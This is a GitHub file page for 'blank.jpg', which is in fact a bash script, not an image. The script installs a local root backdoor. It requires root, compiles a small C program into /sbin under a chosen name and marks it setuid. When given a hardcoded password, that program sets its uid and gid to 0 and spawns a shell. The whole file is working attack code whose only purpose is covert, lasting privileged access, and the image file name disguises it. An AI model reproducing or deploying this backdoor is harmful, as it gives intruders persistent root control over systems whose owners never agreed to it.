-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblank.jpg
45 lines (37 loc) · 1.05 KB
/
blank.jpg
File metadata and controls
45 lines (37 loc) · 1.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
tmp="/tmp/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1).c"
if [ $(id -u) != 0 ]; then
echo "uid != 0"
echo "ca't run this script"
exit
fi
if [ ! $1 ] || [ ! $2 ]; then
echo "usage: ./$0 <backdoor_name> <password> <shell>"
exit
fi
cat > $tmp << EOF
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>
#define PASSWORD "$2"
#define SHELL "$3"
int main(void) {
char *input;
input = getpass("PASSWORD: ");
if(strcmp(PASSWORD, input) == 0) {
setuid(0);
setgid(0);
system(SHELL);
} else {
printf("Wrong Password!\n");
}
}
EOF
if [ -f $tmp ]; then echo "[+] $tmp created"; else echo "[-] can't create $tmp"; exit; fi
if [ -x $(command -v gcc) ]; then echo "[+] gcc found"; else echo "[-] gcc not found"; exit; fi
gcc $tmp -o /sbin/$1
rm -rf $tmp
chmod +x /sbin/$1
chmod +s /sbin/$1
if [ -x /sbin/$1 ]; then echo "[+] /sbin/$1 created and executable"; else echo "[-] /sbin/$1 not created or not executable"; exit; fi